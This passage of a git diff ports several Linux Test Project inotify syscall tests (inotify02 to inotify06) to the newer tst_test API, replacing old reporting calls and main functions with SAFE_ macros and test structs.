+		tst_brk(TBROK | TERRNO,
 			 "inotify_add_watch (%d, \".\", IN_ALL_EVENTS) failed",
 			 fd_notify);
 		reap_wd = 1;
 	};
-
 }
 
 static void cleanup(void)
 {
 	if (reap_wd && myinotify_rm_watch(fd_notify, wd) < 0) {
-		tst_resm(TWARN,
-			 "inotify_rm_watch (%d, %d) failed,", fd_notify, wd);
+		tst_res(TWARN,
+			"inotify_rm_watch (%d, %d) failed,", fd_notify, wd);
 
 	}
 
-	if (fd_notify > 0 && close(fd_notify))
-		tst_resm(TWARN, "close(%d) failed", fd_notify);
-
-	tst_rmdir();
+	if (fd_notify > 0)
+		SAFE_CLOSE(fd_notify);
 }
 
+static struct tst_test test = {
+	.needs_tmpdir = 1,
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = verify_inotify,
+};
+
 #else
-
-char *TCID = "inotify02";
-int TST_TOTAL = 0;
-
-int main(void)
-{
-	tst_brkm(TCONF, NULL, "system doesn't have required inotify support");
-}
-
+	TST_TEST_TCONF("system doesn't have required inotify support");
 #endif
diff --git a/testcases/kernel/syscalls/inotify/inotify03.c b/testcases/kernel/syscalls/inotify/inotify03.c
index 065890a..ff74199 100644
--- a/testcases/kernel/syscalls/inotify/inotify03.c
+++ b/testcases/kernel/syscalls/inotify/inotify03.c
@@ -41,14 +41,9 @@
 #include <string.h>
 #include <sys/syscall.h>
 #include <signal.h>
-#include "test.h"
-#include "safe_macros.h"
-#include "lapi/syscalls.h"
+#include "tst_test.h"
 #include "inotify.h"
 
-char *TCID = "inotify03";
-int TST_TOTAL = 3;
-
 #if defined(HAVE_SYS_INOTIFY_H)
 #include <sys/inotify.h>
 
@@ -58,15 +53,12 @@
 /* reasonable guess as to size of 1024 events */
 #define EVENT_BUF_LEN		(EVENT_MAX * (EVENT_SIZE + 16))
 
-static void setup(void);
-static void cleanup(void);
-
 #define BUF_SIZE 1024
 static char fname[BUF_SIZE];
 static int fd, fd_notify;
 static int wd;
 
-static int event_set[EVENT_MAX];
+static unsigned int event_set[EVENT_MAX];
 
 static char event_buf[EVENT_BUF_LEN];
 
@@ -74,47 +66,45 @@
 
 static char *mntpoint = "mntpoint";
 static int mount_flag;
-static const char *device;
-static const char *fs_type;
 
-int main(int argc, char *argv[])
+void verify_inotify(void)
 {
 	int ret;
 	int len, i, test_num;
 
-	tst_parse_opts(argc, argv, NULL, NULL);
+	int test_cnt = 0;
 
-	setup();
+	SAFE_MOUNT(tst_device->dev, mntpoint, tst_device->fs_type, 0, NULL);
+	mount_flag = 1;
 
-	tst_count = 0;
+	wd = myinotify_add_watch(fd_notify, fname, IN_ALL_EVENTS);
+	if (wd < 0) {
+		tst_brk(TBROK | TERRNO,
+			"inotify_add_watch (%d, %s, IN_ALL_EVENTS) failed.",
+			fd_notify, fname);
+	}
 
-	event_set[tst_count] = IN_UNMOUNT;
-	tst_count++;
-	event_set[tst_count] = IN_IGNORED;
-	tst_count++;
+	event_set[test_cnt] = IN_UNMOUNT;
+	test_cnt++;
+	event_set[test_cnt] = IN_IGNORED;
+	test_cnt++;
 
 	/*check exit code from inotify_rm_watch */
-	tst_count++;
+	test_cnt++;
 
-	if (TST_TOTAL != tst_count) {
-		tst_brkm(TBROK, cleanup,
-			 "TST_TOTAL and tst_count are not equal");
-	}
-	tst_count = 0;
-
-	tst_resm(TINFO, "umount %s", device);
+	tst_res(TINFO, "umount %s", tst_device->dev);
 	TEST(tst_umount(mntpoint));
-	if (TEST_RETURN != 0) {
-		tst_brkm(TBROK, cleanup, "umount(2) Failed "
-			 "while unmounting errno = %d : %s",
-			 TEST_ERRNO, strerror(TEST_ERRNO));
+	if (TST_RET != 0) {
+		tst_brk(TBROK, "umount(2) Failed "
+			"while unmounting errno = %d : %s",
+			TST_ERR, strerror(TST_ERR));
 	}
 	mount_flag = 0;
 
 	len = read(fd_notify, event_buf, EVENT_BUF_LEN);
 	if (len < 0) {
-		tst_brkm(TBROK | TERRNO, cleanup,
-			 "read(%d, buf, %zu) failed", fd_notify, EVENT_BUF_LEN);
+		tst_brk(TBROK | TERRNO,
+			"read(%d, buf, %zu) failed", fd_notify, EVENT_BUF_LEN);
 	}
 
 	/* check events */
@@ -123,130 +113,100 @@
 	while (i < len) {
 		struct inotify_event *event;
 		event = (struct inotify_event *)&event_buf[i];
-		if (test_num >= (TST_TOTAL - 1)) {
-			tst_resm(TFAIL,
-				 "get unnecessary event: wd=%d mask=%x "
-				 "cookie=%u len=%u",
-				 event->wd, event->mask,
-				 event->cookie, event->len);
+		if (test_num >= (test_cnt - 1)) {
+			tst_res(TFAIL,
+				"get unnecessary event: wd=%d mask=%x "
+				"cookie=%u len=%u",
+				event->wd, event->mask,
+				event->cookie, event->len);
 		} else if (event_set[test_num] == event->mask) {
-			tst_resm(TPASS, "get event: wd=%d mask=%x"
-				 " cookie=%u len=%u",
-				 event->wd, event->mask,
-				 event->cookie, event->len);
+			tst_res(TPASS, "get event: wd=%d mask=%x"
+				" cookie=%u len=%u",
+				event->wd, event->mask,
+				event->cookie, event->len);
 
 		} else {
-			tst_resm(TFAIL, "get event: wd=%d mask=%x "
-				 "(expected %x) cookie=%u len=%u",
-				 event->wd, event->mask,
-				 event_set[test_num],
-				 event->cookie, event->len);
+			tst_res(TFAIL, "get event: wd=%d mask=%x "
+				"(expected %x) cookie=%u len=%u",
+				event->wd, event->mask,
+				event_set[test_num],
+				event->cookie, event->len);
 		}
 		test_num++;
 		i += EVENT_SIZE + event->len;
 	}
-	for (; test_num < TST_TOTAL - 1; test_num++) {
-		tst_resm(TFAIL, "don't get event: mask=%x ",
-			 event_set[test_num]);
+	for (; test_num < test_cnt - 1; test_num++) {
+		tst_res(TFAIL, "don't get event: mask=%x ",
+			event_set[test_num]);
 
 	}
 	ret = myinotify_rm_watch(fd_notify, wd);
 	if (ret != -1 || errno != EINVAL)
-		tst_resm(TFAIL | TERRNO,
-			 "inotify_rm_watch (%d, %d) didn't return EINVAL",
-			 fd_notify, wd);
+		tst_res(TFAIL | TERRNO,
+			"inotify_rm_watch (%d, %d) didn't return EINVAL",
+			fd_notify, wd);
 	else
-		tst_resm(TPASS, "inotify_rm_watch (%d, %d) returned EINVAL",
-			 fd_notify, wd);
-
-	cleanup();
-	tst_exit();
+		tst_res(TPASS, "inotify_rm_watch (%d, %d) returned EINVAL",
+			fd_notify, wd);
 }
 
 static void setup(void)
 {
 	int ret;
 
-	tst_require_root();
+	SAFE_MKDIR(mntpoint, DIR_MODE);
 
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	fs_type = tst_dev_fs_type();
-
-	tst_tmpdir();
-
-	device = tst_acquire_device(cleanup);
-	if (!device)
-		tst_brkm(TCONF, cleanup, "Failed to obtain block device");
-
-	tst_mkfs(cleanup, device, fs_type, NULL, NULL);
-
-	SAFE_MKDIR(cleanup, mntpoint, DIR_MODE);
-
-	/* Call mount(2) */
-	tst_resm(TINFO, "mount %s to %s fs_type=%s", device, mntpoint, fs_type);
-	TEST(mount(device, mntpoint, fs_type, 0, NULL));
-
-	/* check return code */
-	if (TEST_RETURN != 0) {
-		tst_brkm(TBROK | TTERRNO, cleanup, "mount(2) failed");
-	}
+	SAFE_MOUNT(tst_device->dev, mntpoint, tst_device->fs_type, 0, NULL);
 	mount_flag = 1;
 
 	sprintf(fname, "%s/tfile_%d", mntpoint, getpid());
-	fd = SAFE_OPEN(cleanup, fname, O_RDWR | O_CREAT, 0700);
+	fd = SAFE_OPEN(fname, O_RDWR | O_CREAT, 0700);
 
 	ret = write(fd, fname, 1);
 	if (ret == -1) {
-		tst_brkm(TBROK | TERRNO, cleanup,
+		tst_brk(TBROK | TERRNO,
 			 "write(%d, %s, 1) failed", fd, fname);
 	}
 
 	/* close the file we have open */
-	SAFE_CLOSE(cleanup, fd);
+	SAFE_CLOSE(fd);
 
 	fd_notify = myinotify_init();
-
 	if (fd_notify < 0) {
 		if (errno == ENOSYS)
-			tst_brkm(TCONF, cleanup,
-				 "inotify is not configured in this kernel.");
+			tst_brk(TCONF,
+				"inotify is not configured in this kernel.");
 		else
-			tst_brkm(TBROK | TERRNO, cleanup,
-				 "inotify_init failed");
+			tst_brk(TBROK | TERRNO,
+				"inotify_init failed");
 	}
 
-	wd = myinotify_add_watch(fd_notify, fname, IN_ALL_EVENTS);
-	if (wd < 0)
-		tst_brkm(TBROK | TERRNO, cleanup,
-			 "inotify_add_watch (%d, %s, IN_ALL_EVENTS) failed.",
-			 fd_notify, fname);
+	tst_umount(mntpoint);
+	mount_flag = 0;
 }
 
 static void cleanup(void)
 {
-	if (fd_notify > 0 && close(fd_notify) == -1)
-		tst_resm(TWARN | TERRNO, "close(%d) failed", fd_notify);
+	if (fd_notify > 0)
+		SAFE_CLOSE(fd_notify);
 
 	if (mount_flag) {
 		TEST(tst_umount(mntpoint));
-		if (TEST_RETURN != 0)
-			tst_resm(TWARN | TTERRNO, "umount(%s) failed",
-				 mntpoint);
+		if (TST_RET != 0)
+			tst_res(TWARN | TTERRNO, "umount(%s) failed",
+				mntpoint);
 	}
-
-	tst_release_device(device);
-
-	tst_rmdir();
 }
 
+static struct tst_test test = {
+	.needs_root = 1,
+	.needs_tmpdir = 1,
+	.format_device = 1,
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = verify_inotify,
+};
+
 #else
-
-int main(void)
-{
-	tst_brkm(TCONF, NULL, "system doesn't have required inotify support");
-}
-
+	TST_TEST_TCONF("system doesn't have required inotify support");
 #endif
diff --git a/testcases/kernel/syscalls/inotify/inotify04.c b/testcases/kernel/syscalls/inotify/inotify04.c
index 87ef9c3..36673d6 100644
--- a/testcases/kernel/syscalls/inotify/inotify04.c
+++ b/testcases/kernel/syscalls/inotify/inotify04.c
@@ -40,17 +40,12 @@
 #include "config.h"
 
 #if defined(HAVE_SYS_INOTIFY_H)
-#include <sys/inotify.h>
+# include <sys/inotify.h>
 #endif
 #include <errno.h>
 #include <string.h>
-#include "test.h"
-#include "lapi/syscalls.h"
+#include "tst_test.h"
 #include "inotify.h"
-#include "safe_macros.h"
-
-char *TCID = "inotify04";
-int TST_TOTAL = 4;
 
 #if defined(HAVE_SYS_INOTIFY_H)
 
@@ -84,91 +79,70 @@
 
 static void cleanup(void)
 {
-
 	if (reap_wd_dir && myinotify_rm_watch(fd_notify, wd_dir) == -1)
-		tst_resm(TWARN,
-			 "inotify_rm_watch(%d, %d) [1] failed", fd_notify,
-			 wd_dir);
+		tst_res(TWARN,
+			"inotify_rm_watch(%d, %d) [1] failed", fd_notify,
+			wd_dir);
 
 	if (reap_wd_file && myinotify_rm_watch(fd_notify, wd_file) == -1)
-		tst_resm(TWARN,
-			 "inotify_rm_watch(%d, %d) [2] failed", fd_notify,
-			 wd_file);
+		tst_res(TWARN,
+			"inotify_rm_watch(%d, %d) [2] failed", fd_notify,
+			wd_file);
 
-	if (fd_notify > 0 && close(fd_notify))
-		tst_resm(TWARN, "close(%d) [1] failed", fd_notify);
-
-	if (wd_dir > 0 && close(wd_dir))
-		tst_resm(TWARN, "close(%d) [2] failed", wd_dir);
-
-	if (wd_file > 0 && close(wd_file))
-		tst_resm(TWARN, "close(%d) [3] failed", wd_file);
-
-	tst_rmdir();
+	if (fd_notify > 0)
+		SAFE_CLOSE(fd_notify);
 }
 
 static void setup(void)
 {
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
 	fd_notify = myinotify_init();
 	if (fd_notify == -1) {
 		if (errno == ENOSYS) {
-			tst_brkm(TCONF, cleanup,
-				 "inotify is not configured in this kernel.");
+			tst_brk(TCONF,
+				"inotify is not configured in this kernel.");
 		} else {
-			tst_brkm(TBROK | TERRNO, cleanup,
-				 "inotify_init failed");
+			tst_brk(TBROK | TERRNO,
+				"inotify_init failed");
 		}
 	}
+}
 
-	SAFE_MKDIR(cleanup, TEST_DIR, 00700);
+void verify_inotify(void)
+{
+	int i = 0, test_num = 0, len;
+	int test_cnt = 0;
 
-	close(SAFE_CREAT(cleanup, TEST_FILE, 00600));
+	SAFE_MKDIR(TEST_DIR, 00700);
+	close(SAFE_CREAT(TEST_FILE, 00600));
 
 	wd_dir = myinotify_add_watch(fd_notify, TEST_DIR, IN_ALL_EVENTS);
 	if (wd_dir == -1) {
-		tst_brkm(TBROK | TERRNO, cleanup,
-			 "inotify_add_watch(%d, \"%s\", IN_ALL_EVENTS) [1] failed",
-			 fd_notify, TEST_DIR);
+		tst_brk(TBROK | TERRNO,
+			"inotify_add_watch(%d, \"%s\", IN_ALL_EVENTS) [1] failed",
+			fd_notify, TEST_DIR);
 	}
 	reap_wd_dir = 1;
 
 	wd_file = myinotify_add_watch(fd_notify, TEST_FILE, IN_ALL_EVENTS);
 	if (wd_file == -1)
-		tst_brkm(TBROK | TERRNO, cleanup,
-			 "inotify_add_watch(%d, \"%s\", IN_ALL_EVENTS) [2] failed",
-			 fd_notify, TEST_FILE);
+		tst_brk(TBROK | TERRNO,
+			"inotify_add_watch(%d, \"%s\", IN_ALL_EVENTS) [2] failed",
+			fd_notify, TEST_FILE);
 	reap_wd_file = 1;
-}
 
-int main(int argc, char **argv)
-{
-	int i, test_num, len;
+	SAFE_RMDIR(TEST_DIR);
+	reap_wd_dir = 0;
 
-	i = 0;
-	test_num = 0;
+	event_set[test_cnt].mask = IN_DELETE_SELF;
+	strcpy(event_set[test_cnt].name, "");
+	test_cnt++;
+	event_set[test_cnt].mask = IN_IGNORED;
+	strcpy(event_set[test_cnt].name, "");
+	test_cnt++;
 
-	tst_parse_opts(argc, argv, NULL, NULL);
+	SAFE_UNLINK(TEST_FILE);
+	reap_wd_file = 0;
 
-	setup();
-
-	tst_count = 0;
-
-	rmdir(TEST_DIR);
-	event_set[tst_count].mask = IN_DELETE_SELF;
-	strcpy(event_set[tst_count].name, "");
-	tst_count++;
-	event_set[tst_count].mask = IN_IGNORED;
-	strcpy(event_set[tst_count].name, "");
-	tst_count++;
-
-	unlink(TEST_FILE);
 	/*
 	 * When a file is unlinked, the link count is reduced by 1, and when it
 	 * hits 0 the file is removed.
@@ -177,92 +151,86 @@
 	 * understand how Unix works.
 	 */
 	if (tst_kvercmp2(2, 6, 25, kvers) >= 0) {
-		event_set[tst_count].mask = IN_ATTRIB;
-		strcpy(event_set[tst_count].name, "");
-		tst_count++;
-		TST_TOTAL++;
+		event_set[test_cnt].mask = IN_ATTRIB;
+		strcpy(event_set[test_cnt].name, "");
+		test_cnt++;
 	}
-	event_set[tst_count].mask = IN_DELETE_SELF;
-	strcpy(event_set[tst_count].name, TEST_FILE);
-	tst_count++;
-	event_set[tst_count].mask = IN_IGNORED;
-	strcpy(event_set[tst_count].name, "");
-	tst_count++;
 
-	if (tst_count != TST_TOTAL)
-		tst_brkm(TBROK, cleanup,
-			 "tst_count and TST_TOTAL are not equal");
-
-	tst_count = 0;
+	event_set[test_cnt].mask = IN_DELETE_SELF;
+	strcpy(event_set[test_cnt].name, TEST_FILE);
+	test_cnt++;
+	event_set[test_cnt].mask = IN_IGNORED;
+	strcpy(event_set[test_cnt].name, "");
+	test_cnt++;
 
 	len = read(fd_notify, event_buf, EVENT_BUF_LEN);
 	if (len == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "read failed");
-
-	reap_wd_dir = 0;
-	reap_wd_file = 0;
+		tst_brk(TBROK | TERRNO, "read failed");
 
 	while (i < len) {
 		struct inotify_event *event;
 		event = (struct inotify_event *)&event_buf[i];
-		if (test_num >= TST_TOTAL) {
+		if (test_num >= test_cnt) {
 			if (tst_kvercmp(2, 6, 25) < 0
-			    && event_set[TST_TOTAL - 1].mask == event->mask)
-				tst_resm(TWARN,
-					 "This may be kernel bug. "
-					 "Before kernel 2.6.25, a kernel bug "
-					 "meant that the kernel code that was "
-					 "intended to coalesce successive identical "
-					 "events (i.e., the two most recent "
-					 "events could potentially be coalesced "
-					 "if the older had not yet been read) "
-					 "instead checked if the most recent event "
-					 "could be coalesced with the oldest "
-					 "unread event. This has been fixed by commit"
-					 "1c17d18e3775485bf1e0ce79575eb637a94494a2.");
-			tst_resm(TFAIL,
-				 "got unnecessary event: "
-				 "wd=%d mask=%x cookie=%u len=%u "
-				 "name=\"%.*s\"", event->wd, event->mask,
-				 event->cookie, event->len, event->len, event->name);
+			    && event_set[test_cnt - 1].mask == event->mask)
+				tst_res(TWARN,
+					"This may be kernel bug. "
+					"Before kernel 2.6.25, a kernel bug "
+					"meant that the kernel code that was "
+					"intended to coalesce successive identical "
+					"events (i.e., the two most recent "
+					"events could potentially be coalesced "
+					"if the older had not yet been read) "
+					"instead checked if the most recent event "
+					"could be coalesced with the oldest "
+					"unread event. This has been fixed by commit"
+					"1c17d18e3775485bf1e0ce79575eb637a94494a2.");
+			tst_res(TFAIL,
+				"got unnecessary event: "
+				"wd=%d mask=%04x cookie=%u len=%u "
+				"name=\"%.*s\"", event->wd, event->mask,
+				event->cookie, event->len, event->len, event->name);
 
 		} else if ((event_set[test_num].mask == event->mask)
 			   &&
 			   (!strncmp
 			    (event_set[test_num].name, event->name,
 			     event->len))) {
-			tst_resm(TPASS,
-				 "got event: wd=%d mask=%x "
-				 "cookie=%u len=%u name=\"%.*s\"",
-				 event->wd, event->mask, event->cookie,
-				 event->len, event->len, event->name);
+			tst_res(TPASS,
+				"got event: wd=%d mask=%04x "
+				"cookie=%u len=%u name=\"%.*s\"",
+				event->wd, event->mask, event->cookie,
+				event->len, event->len, event->name);
 
 		} else {
-			tst_resm(TFAIL, "got event: wd=%d mask=%x "
-				 "(expected %x) cookie=%u len=%u "
-				 "name=\"%.*s\" (expected \"%s\") %d",
-				 event->wd, event->mask,
-				 event_set[test_num].mask,
-				 event->cookie, event->len,
-				 event->len, event->name,
-				 event_set[test_num].name,
-				 strncmp(event_set[test_num].name, event->name, event->len));
+			tst_res(TFAIL, "got event: wd=%d mask=%04x "
+				"(expected %x) cookie=%u len=%u "
+				"name=\"%.*s\" (expected \"%s\") %d",
+				event->wd, event->mask,
+				event_set[test_num].mask,
+				event->cookie, event->len,
+				event->len, event->name,
+				event_set[test_num].name,
+				strncmp(event_set[test_num].name, event->name, event->len));
 		}
 		test_num++;
 		i += EVENT_SIZE + event->len;
 	}
 
-	for (; test_num < TST_TOTAL; test_num++) {
-		tst_resm(TFAIL, "didn't get event: mask=%x ",
-			 event_set[test_num].mask);
+	for (; test_num < test_cnt; test_num++) {
+		tst_res(TFAIL, "didn't get event: mask=%04x ",
+			event_set[test_num].mask);
 	}
 
-	cleanup();
-	tst_exit();
 }
+
+static struct tst_test test = {
+	.needs_tmpdir = 1,
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = verify_inotify,
+};
+
 #else
-int main(void)
-{
-	tst_brkm(TCONF, NULL, "system doesn't have required inotify support");
-}
+	TST_TEST_TCONF("system doesn't have required inotify support");
 #endif /* defined(HAVE_SYS_INOTIFY_H) */
diff --git a/testcases/kernel/syscalls/inotify/inotify05.c b/testcases/kernel/syscalls/inotify/inotify05.c
index b526521..2d8897e 100644
--- a/testcases/kernel/syscalls/inotify/inotify05.c
+++ b/testcases/kernel/syscalls/inotify/inotify05.c
@@ -34,13 +34,8 @@
 #include <errno.h>
 #include <string.h>
 #include <sys/syscall.h>
-#include "test.h"
-#include "lapi/syscalls.h"
+#include "tst_test.h"
 #include "inotify.h"
-#include "safe_macros.h"
-
-char *TCID = "inotify05";
-int TST_TOTAL = 1;
 
 #if defined(HAVE_SYS_INOTIFY_H)
 #include <sys/inotify.h>
@@ -49,9 +44,6 @@
 #define EVENT_SIZE  (sizeof(struct inotify_event))
 #define EVENT_BUF_LEN (EVENT_SIZE * 16)
 
-static void setup(void);
-static void cleanup(void);
-
 #define BUF_SIZE 256
 static char fname[BUF_SIZE];
 static char buf[BUF_SIZE];
@@ -61,152 +53,137 @@
 
 static char event_buf[EVENT_BUF_LEN];
 
-int main(int ac, char **av)
+void verify_inotify(void)
 {
-	int lc, i;
+	int i;
 	int len, stop;
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	/*
+	 * generate events
+	 */
+	fd = SAFE_OPEN(fname, O_RDWR);
 
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		/*
-		 * generate events
-		 */
-		fd = SAFE_OPEN(cleanup, fname, O_RDWR);
-
-		for (i = 0; i < max_events; i++) {
-			SAFE_LSEEK(cleanup, fd, 0, SEEK_SET);
-			SAFE_READ(cleanup, 1, fd, buf, BUF_SIZE);
-			SAFE_LSEEK(cleanup, fd, 0, SEEK_SET);
-			SAFE_WRITE(cleanup, 1, fd, buf, BUF_SIZE);
-		}
-
-		SAFE_CLOSE(cleanup, fd);
-
-		stop = 0;
-		while (!stop) {
-			/*
-			 * get list on events
-			 */
-			len = read(fd_notify, event_buf, EVENT_BUF_LEN);
-			if (len < 0) {
-				tst_brkm(TBROK | TERRNO, cleanup,
-					 "read(%d, buf, %zu) failed",
-					 fd_notify, EVENT_BUF_LEN);
-			}
-
-			/*
-			 * check events
-			 */
-			i = 0;
-			while (i < len) {
-				struct inotify_event *event;
-
-				event = (struct inotify_event *)&event_buf[i];
-				if (event->mask != IN_ACCESS &&
-				    event->mask != IN_MODIFY &&
-				    event->mask != IN_OPEN &&
-				    event->mask != IN_Q_OVERFLOW) {
-					tst_resm(TFAIL,
-						 "get event: wd=%d mask=%x "
-						 "cookie=%u (expected 0) len=%u",
-						 event->wd, event->mask,
-						 event->cookie, event->len);
-					stop = 1;
-					break;
-				}
-				if (event->mask == IN_Q_OVERFLOW) {
-					if (event->len != 0 ||
-					    event->cookie != 0 ||
-					    event->wd != -1) {
-						tst_resm(TFAIL,
-							 "invalid overflow event: "
-							 "wd=%d mask=%x "
-							 "cookie=%u len=%u",
-							 event->wd, event->mask,
-							 event->cookie,
-							 event->len);
-						stop = 1;
-						break;
-					}
-					if ((int)(i + EVENT_SIZE) != len) {
-						tst_resm(TFAIL,
-							 "overflow event is not last");
-						stop = 1;
-						break;
-					}
-					tst_resm(TPASS, "get event: wd=%d "
-						 "mask=%x cookie=%u len=%u",
-						 event->wd, event->mask,
-						 event->cookie, event->len);
-					stop = 1;
-					break;
-				}
-				i += EVENT_SIZE + event->len;
-			}
-		}
+	for (i = 0; i < max_events; i++) {
+		SAFE_LSEEK(fd, 0, SEEK_SET);
+		SAFE_READ(1, fd, buf, BUF_SIZE);
+		SAFE_LSEEK(fd, 0, SEEK_SET);
+		SAFE_WRITE(1, fd, buf, BUF_SIZE);
 	}
 
-	cleanup();
-	tst_exit();
+	SAFE_CLOSE(fd);
+
+	stop = 0;
+	while (!stop) {
+		/*
+		 * get list on events
+		 */
+		len = read(fd_notify, event_buf, EVENT_BUF_LEN);
+		if (len < 0) {
+			tst_brk(TBROK | TERRNO,
+				"read(%d, buf, %zu) failed",
+				fd_notify, EVENT_BUF_LEN);
+		}
+
+		/*
+		 * check events
+		 */
+		i = 0;
+		while (i < len) {
+			struct inotify_event *event;
+
+			event = (struct inotify_event *)&event_buf[i];
+			if (event->mask != IN_ACCESS &&
+					event->mask != IN_MODIFY &&
+					event->mask != IN_OPEN &&
+					event->mask != IN_Q_OVERFLOW) {
+				tst_res(TFAIL,
+					"get event: wd=%d mask=%x "
+					"cookie=%u (expected 0) len=%u",
+					event->wd, event->mask,
+					event->cookie, event->len);
+				stop = 1;
+				break;
+			}
+			if (event->mask == IN_Q_OVERFLOW) {
+				if (event->len != 0 ||
+						event->cookie != 0 ||
+						event->wd != -1) {
+					tst_res(TFAIL,
+						"invalid overflow event: "
+						"wd=%d mask=%x "
+						"cookie=%u len=%u",
+						event->wd, event->mask,
+						event->cookie,
+						event->len);
+					stop = 1;
+					break;
+				}
+				if ((int)(i + EVENT_SIZE) != len) {
+					tst_res(TFAIL,
+						"overflow event is not last");
+					stop = 1;
+					break;
+				}
+				tst_res(TPASS, "get event: wd=%d "
+					"mask=%x cookie=%u len=%u",
+					event->wd, event->mask,
+					event->cookie, event->len);
+				stop = 1;
+				break;
+			}
+			i += EVENT_SIZE + event->len;
+		}
+	}
 }
 
 static void setup(void)
 {
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
 	sprintf(fname, "tfile_%d", getpid());
-	fd = SAFE_OPEN(cleanup, fname, O_RDWR | O_CREAT, 0700);
-	SAFE_WRITE(cleanup, 1, fd, buf, BUF_SIZE);
-	SAFE_CLOSE(cleanup, fd);
+	fd = SAFE_OPEN(fname, O_RDWR | O_CREAT, 0700);
+	SAFE_WRITE(1, fd, buf, BUF_SIZE);
+	SAFE_CLOSE(fd);
 
-	fd_notify = syscall(__NR_inotify_init1, O_NONBLOCK);
+	fd_notify = myinotify_init1(O_NONBLOCK);
 	if (fd_notify < 0) {
 		if (errno == ENOSYS) {
-			tst_brkm(TCONF, cleanup,
-				 "inotify is not configured in this kernel.");
+			tst_brk(TCONF,
+				"inotify is not configured in this kernel.");
 		} else {
-			tst_brkm(TBROK | TERRNO, cleanup,
-				 "inotify_init failed");
+			tst_brk(TBROK | TERRNO,
+				"inotify_init failed");
 		}
 	}
 
 	wd = myinotify_add_watch(fd_notify, fname, IN_ALL_EVENTS);
 	if (wd < 0) {
-		tst_brkm(TBROK | TERRNO, cleanup,
-			 "inotify_add_watch (%d, %s, IN_ALL_EVENTS) failed",
-			 fd_notify, fname);
+		tst_brk(TBROK | TERRNO,
+			"inotify_add_watch (%d, %s, IN_ALL_EVENTS) failed",
+			fd_notify, fname);
 	};
 
-	SAFE_FILE_SCANF(cleanup, "/proc/sys/fs/inotify/max_queued_events",
+	SAFE_FILE_SCANF("/proc/sys/fs/inotify/max_queued_events",
 			"%d", &max_events);
 }
 
 static void cleanup(void)
 {
 	if (fd_notify > 0 && myinotify_rm_watch(fd_notify, wd) == -1) {
-		tst_resm(TWARN | TERRNO, "inotify_rm_watch (%d, %d) failed",
-			 fd_notify, wd);
+		tst_res(TWARN | TERRNO, "inotify_rm_watch (%d, %d) failed",
+			fd_notify, wd);
 
 	}
 
-	if (fd_notify > 0 && close(fd_notify) == -1)
-		tst_resm(TWARN, "close(%d) failed", fd_notify);
-
-	tst_rmdir();
+	if (fd_notify > 0)
+		SAFE_CLOSE(fd_notify);
 }
 
+static struct tst_test test = {
+	.needs_tmpdir = 1,
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = verify_inotify,
+};
+
 #else
-
-int main(void)
-{
-	tst_brkm(TCONF, NULL, "system doesn't have required inotify support");
-}
-
+	TST_TEST_TCONF("system doesn't have required inotify support");
 #endif
diff --git a/testcases/kernel/syscalls/inotify/inotify06.c b/testcases/kernel/syscalls/inotify/inotify06.c
index 7ac5794..4475f5e 100644
--- a/testcases/kernel/syscalls/inotify/inotify06.c
+++ b/testcases/kernel/syscalls/inotify/inotify06.c
@@ -41,13 +41,8 @@
 #include <sys/wait.h>
 #include <sys/syscall.h>
 
-#include "test.h"
-#include "lapi/syscalls.h"
+#include "tst_test.h"
 #include "inotify.h"
-#include "safe_macros.h"
-
-char *TCID = "inotify06";
-int TST_TOTAL = 1;
 
 #if defined(HAVE_SYS_INOTIFY_H)
 #include <sys/inotify.h>
@@ -60,21 +55,10 @@
 
 char names[FILES][PATH_MAX];
 
-static void cleanup(void)
-{
-	tst_rmdir();
-}
-
 static void setup(void)
 {
 	int i;
 
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
 	for (i = 0; i < FILES; i++)
 		sprintf(names[i], "fname_%d", i);
 }
@@ -85,23 +69,22 @@
 	pid_t pid;
 	int i, tests;
 
-	pid = tst_fork();
+	pid = SAFE_FORK();
 	if (pid == 0) {
 		while (1) {
 			for (i = 0; i < FILES; i++) {
-				fd = SAFE_OPEN(NULL, names[i], O_CREAT | O_RDWR, 0600);
-				SAFE_CLOSE(NULL, fd);
+				fd = SAFE_OPEN(names[i], O_CREAT | O_RDWR, 0600);
+				SAFE_CLOSE(fd);
 			}
 			for (i = 0; i < FILES; i++)
-				SAFE_UNLINK(NULL, names[i]);
+				SAFE_UNLINK(names[i]);
 		}
-	} else if (pid == -1)
-			tst_brkm(TBROK | TERRNO, cleanup, "fork() failed");
+	}
 
 	for (tests = 0; tests < TEARDOWNS; tests++) {
-		inotify_fd = ltp_syscall(__NR_inotify_init1, O_NONBLOCK);
+		inotify_fd = myinotify_init1(O_NONBLOCK);
 		if (inotify_fd < 0)
-			tst_brkm(TBROK | TERRNO, cleanup, "inotify_init failed");
+			tst_brk(TBROK | TERRNO, "inotify_init failed");
 
 		for (i = 0; i < FILES; i++) {
 			/*
@@ -112,36 +95,24 @@
 			 */
 			myinotify_add_watch(inotify_fd, names[i], IN_MODIFY);
 		}
-		SAFE_CLOSE(cleanup, inotify_fd);
+		SAFE_CLOSE(inotify_fd);
 	}
 	/* We survived for given time - test succeeded */
-	tst_resm(TPASS, "kernel survived inotify beating");
+	tst_res(TPASS, "kernel survived inotify beating");
 
 	/* Kill the child creating / deleting files and wait for it */
-	kill(pid, SIGKILL);
-	wait(NULL);
+	SAFE_KILL(pid, SIGKILL);
+	SAFE_WAIT(NULL);
 }
 
-int main(int ac, char **av)
-{
-	int lc;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++)
-		verify_inotify();
-
-	cleanup();
-	tst_exit();
-}
+static struct tst_test test = {
+	.timeout = 600,
+	.needs_tmpdir = 1,
+	.forks_child = 1,
+	.setup = setup,
+	.test_all = verify_inotify,
+};
 
 #else
-
-int main(void)
-{
-	tst_brkm(TCONF, NULL, "system doesn't have required inotify support");
-}
-
